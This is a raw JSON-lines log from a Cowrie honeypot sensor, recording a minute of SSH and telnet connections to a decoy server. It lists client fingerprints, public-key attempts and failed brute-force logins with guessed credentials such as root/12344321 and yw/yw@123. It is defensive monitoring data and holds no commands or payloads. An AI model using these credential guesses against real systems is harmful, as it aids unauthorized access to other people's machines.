{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:a8:ec:38:c5:db:62:15:09:a2:b5:84:30:d4:3d:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+qWbR64zpkMbwNnePBNw0V6LDSstkD1BAkk6NWPECHI0avxPsLrkEmIdRthxCqFvIPhqFyss92eARzism4JbdVnnL9RGVU87J87lRcLHX210J9zxkiQ0lkrCDHUoOrK6TXZJarKzCclBLCgEgL4J1M4fS0/QuT6fSS8jMBFhdFJA9L4gTtBZK+yhXZ3Q5J6zJAR+sml29SMh3H0JRMxK/PEHfRFbD/I+LIvlDNvYQ+DAZAn2CiHRDKevCwTW4Bvf9dBjN7IFCDnyKo83wbDmuRl+EpGNcRZDxEEZB+l45VFdz5pFvRPeXX4fZf7q+JqtGGMwaiip+ETN5Dv3Scmuz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:34.255551Z","src_ip":"178.32.156.208","session":"78dbf1457ef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.17370533943176,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:34.298999Z","src_ip":"69.4.83.194","session":"a99cec9ce278","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:41:bd:2d:fa:3f:fd:e0:3e:eb:29:32:c9:5b:06:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT1q0h1p5dv5Uvksf/74XK94NwAc9zfG7WdWpYp0nPQwTs8RBqE35X+nW7by/9j8me7gHrXW8rv+2eIB3VbrdoOhVQfxI2mLsVo5jkRjMtAB8vzOTp80TfC1SINHI0CmeD6fjBeMgNsQtms/XRXbHhsUIB/GXw8l+lszIkgboYd6dkKvpjZAUDJaItaj+ISjOjT+81hz6ffzo7UUvjeFS24jfb/LzxjT/tv/OFjnd7V9sswriNDxKSD6l4yazDJfvCye+PCzmM8He4MWdYiKuhD40/vjdE5tkyy1kdqkDU06K1RWN0bnnVZNbbbxVLlDbIo7jMNVWpsbHK7q4YLmBB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:41:bd:2d:fa:3f:fd:e0:3e:eb:29:32:c9:5b:06:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:34.335028Z","src_ip":"178.32.156.208","session":"78dbf1457ef6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:41:bd:2d:fa:3f:fd:e0:3e:eb:29:32:c9:5b:06:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDT1q0h1p5dv5Uvksf/74XK94NwAc9zfG7WdWpYp0nPQwTs8RBqE35X+nW7by/9j8me7gHrXW8rv+2eIB3VbrdoOhVQfxI2mLsVo5jkRjMtAB8vzOTp80TfC1SINHI0CmeD6fjBeMgNsQtms/XRXbHhsUIB/GXw8l+lszIkgboYd6dkKvpjZAUDJaItaj+ISjOjT+81hz6ffzo7UUvjeFS24jfb/LzxjT/tv/OFjnd7V9sswriNDxKSD6l4yazDJfvCye+PCzmM8He4MWdYiKuhD40/vjdE5tkyy1kdqkDU06K1RWN0bnnVZNbbbxVLlDbIo7jMNVWpsbHK7q4YLmBB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:34.339451Z","src_ip":"178.32.156.208","session":"78dbf1457ef6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:d9:ce:e0:8e:20:bf:f3:ed:15:1a:43:0c:78:7b:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnoKDwLZ6f6ULfZAYX1/RF8V7NeMiiKmBC8hU315VQSJeX7xCbQdFcY8f4qJI/M4e4ikCgFr0m46VoBIDNhwezIMss1EgmpZHf4G7Ch2GFzFU76aDA8kN5FoNXKm7lvFLY49Qg5DiRMJm27ge3Iv11334/8I0T9paQKKlsqx0fiyOUUp5BHpdFqjkNZP6l084w+wY7+3BpSXsJewSwKQgtz1NmjGWY3C9xh18dI+oL4gvvJdOK8QuLNIIGOrUOy6W/i2QltnSQh4pWZ277excax3aHgV8yFH9bfz43iVQHk8+mfH/LAqi9mJ4HDntuFWr7P90BpjWaqurScblCp/Ojweuii5CdWVtTwz88uZKfZQGEn6wkSuzNQiepJfZ+Rqsbz0o+k2Ms/jXxsOZ8TSFXf6US0SvWp5Qd54Vq4m+e+v+wwqHDvTZdchL3jPKD72i+21dhJj26aNufXWie4RTrm9/ppTS2C6QSGoShD5/Va9tYO4IW8BvsQ6vkDR77SvwdMM4O5nyqu/hjfslfxn6RRsQipsP6W333rd4W16pO02lM7I+h9kYPOYIBWJj3HwTj/Oc3VGHiGPt2eqGPNVmdFlq3RWL8H231cXyDQGYIZZIUwluL2vfuURB1++MK0LvUR8ju91SCHSH76PsnSybtIt6t29zrqcFBKoEn794u5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:d9:ce:e0:8e:20:bf:f3:ed:15:1a:43:0c:78:7b:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:34.419804Z","src_ip":"178.32.156.208","session":"78dbf1457ef6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:d9:ce:e0:8e:20:bf:f3:ed:15:1a:43:0c:78:7b:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCnoKDwLZ6f6ULfZAYX1/RF8V7NeMiiKmBC8hU315VQSJeX7xCbQdFcY8f4qJI/M4e4ikCgFr0m46VoBIDNhwezIMss1EgmpZHf4G7Ch2GFzFU76aDA8kN5FoNXKm7lvFLY49Qg5DiRMJm27ge3Iv11334/8I0T9paQKKlsqx0fiyOUUp5BHpdFqjkNZP6l084w+wY7+3BpSXsJewSwKQgtz1NmjGWY3C9xh18dI+oL4gvvJdOK8QuLNIIGOrUOy6W/i2QltnSQh4pWZ277excax3aHgV8yFH9bfz43iVQHk8+mfH/LAqi9mJ4HDntuFWr7P90BpjWaqurScblCp/Ojweuii5CdWVtTwz88uZKfZQGEn6wkSuzNQiepJfZ+Rqsbz0o+k2Ms/jXxsOZ8TSFXf6US0SvWp5Qd54Vq4m+e+v+wwqHDvTZdchL3jPKD72i+21dhJj26aNufXWie4RTrm9/ppTS2C6QSGoShD5/Va9tYO4IW8BvsQ6vkDR77SvwdMM4O5nyqu/hjfslfxn6RRsQipsP6W333rd4W16pO02lM7I+h9kYPOYIBWJj3HwTj/Oc3VGHiGPt2eqGPNVmdFlq3RWL8H231cXyDQGYIZZIUwluL2vfuURB1++MK0LvUR8ju91SCHSH76PsnSybtIt6t29zrqcFBKoEn794u5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:34.424464Z","src_ip":"178.32.156.208","session":"78dbf1457ef6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:16:55:a4:69:fc:3d:e6:d8:c0:26:f0:cc:df:45:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZaSOd3g2jJMNA1By4OUwgVrq8SbrMmVULoSPu+iv8s/B3i7llq5wDFcoBdcHKoWtUvunhlGN0yTNjqv8zW3Gm5F9GIkvGmoKbQhWgdFXdZ4nZFb2xHjF2m+WID1aaYHiRvPZ+I/53l3HxCMaGZBijYHYz63YFG3N+6iTw68anIk2ys3Tb6n/LRFIsuJh0mTFxLNCqel0O/Pmy6t5C8p8pOAB7+onQCf6RYOgYQeLK/JKZK9cgV9drWSd5KdMuSWvxUyoJ3pnGPJSeFu3Aj73ZRtxAgMQkIMf9QXxbmsEt90qiGxfytmibQD60wLUgx+8FEhRwLclV3a7V5APguX8P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:16:55:a4:69:fc:3d:e6:d8:c0:26:f0:cc:df:45:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:34.506113Z","src_ip":"178.32.156.208","session":"78dbf1457ef6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:16:55:a4:69:fc:3d:e6:d8:c0:26:f0:cc:df:45:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZaSOd3g2jJMNA1By4OUwgVrq8SbrMmVULoSPu+iv8s/B3i7llq5wDFcoBdcHKoWtUvunhlGN0yTNjqv8zW3Gm5F9GIkvGmoKbQhWgdFXdZ4nZFb2xHjF2m+WID1aaYHiRvPZ+I/53l3HxCMaGZBijYHYz63YFG3N+6iTw68anIk2ys3Tb6n/LRFIsuJh0mTFxLNCqel0O/Pmy6t5C8p8pOAB7+onQCf6RYOgYQeLK/JKZK9cgV9drWSd5KdMuSWvxUyoJ3pnGPJSeFu3Aj73ZRtxAgMQkIMf9QXxbmsEt90qiGxfytmibQD60wLUgx+8FEhRwLclV3a7V5APguX8P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:34.510378Z","src_ip":"178.32.156.208","session":"78dbf1457ef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:34.589240Z","src_ip":"178.32.156.208","session":"78dbf1457ef6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.178.94.210","src_port":55644,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f7bef1ffc75","protocol":"ssh","message":"New connection: 180.178.94.210:55644 (159.203.135.109:22) [session: 5f7bef1ffc75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:36.810548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:36.815354Z","src_ip":"180.178.94.210","session":"5f7bef1ffc75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:37.063053Z","src_ip":"180.178.94.210","session":"5f7bef1ffc75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12344321","message":"login attempt [root/12344321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:38.093892Z","src_ip":"180.178.94.210","session":"5f7bef1ffc75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:39.349113Z","src_ip":"180.178.94.210","session":"5f7bef1ffc75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.133","src_port":56604,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0fe46f8f5d1","protocol":"ssh","message":"New connection: 101.79.165.133:56604 (159.203.135.109:22) [session: c0fe46f8f5d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:41.478762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:41.485599Z","src_ip":"101.79.165.133","session":"c0fe46f8f5d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:41.705405Z","src_ip":"101.79.165.133","session":"c0fe46f8f5d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12344321","message":"login attempt [root/12344321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:42.612723Z","src_ip":"101.79.165.133","session":"c0fe46f8f5d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:43.835818Z","src_ip":"101.79.165.133","session":"c0fe46f8f5d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.238.162.32","src_port":40859,"dst_ip":"159.203.135.109","dst_port":23,"session":"724e8727ed2d","protocol":"telnet","message":"New connection: 37.238.162.32:40859 (159.203.135.109:23) [session: 724e8727ed2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:44.572212Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":51776,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef0166f89e3e","protocol":"ssh","message":"New connection: 147.45.197.250:51776 (10.17.0.5:22) [session: ef0166f89e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:53.588996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:53.593789Z","src_ip":"147.45.197.250","session":"ef0166f89e3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:53.683438Z","src_ip":"147.45.197.250","session":"ef0166f89e3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10101988","message":"login attempt [root/10101988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:53.953367Z","src_ip":"147.45.197.250","session":"ef0166f89e3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:55.047163Z","src_ip":"147.45.197.250","session":"ef0166f89e3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.377185821533203,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:35:56.949291Z","src_ip":"37.238.162.32","session":"724e8727ed2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.65.220","src_port":48530,"dst_ip":"159.203.135.109","dst_port":22,"session":"43d1c53326db","protocol":"ssh","message":"New connection: 43.133.65.220:48530 (159.203.135.109:22) [session: 43d1c53326db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:10.098411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:10.103024Z","src_ip":"43.133.65.220","session":"43d1c53326db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:10.317073Z","src_ip":"43.133.65.220","session":"43d1c53326db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yw","password":"yw@123","message":"login attempt [yw/yw@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:11.205559Z","src_ip":"43.133.65.220","session":"43d1c53326db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:12.423542Z","src_ip":"43.133.65.220","session":"43d1c53326db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":41774,"dst_ip":"10.17.0.5","dst_port":22,"session":"476650e10034","protocol":"ssh","message":"New connection: 103.153.68.219:41774 (10.17.0.5:22) [session: 476650e10034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:17.407631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:17.412863Z","src_ip":"103.153.68.219","session":"476650e10034","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:17.667010Z","src_ip":"103.153.68.219","session":"476650e10034","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"198711","message":"login attempt [root/198711] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:18.433821Z","src_ip":"103.153.68.219","session":"476650e10034","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:19.690994Z","src_ip":"103.153.68.219","session":"476650e10034","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.6.32.107","src_port":24847,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ed45b025948","protocol":"ssh","message":"New connection: 190.6.32.107:24847 (159.203.135.109:22) [session: 0ed45b025948]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:21.753311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:36:21.758501Z","src_ip":"190.6.32.107","session":"0ed45b025948","protocol":"ssh"}
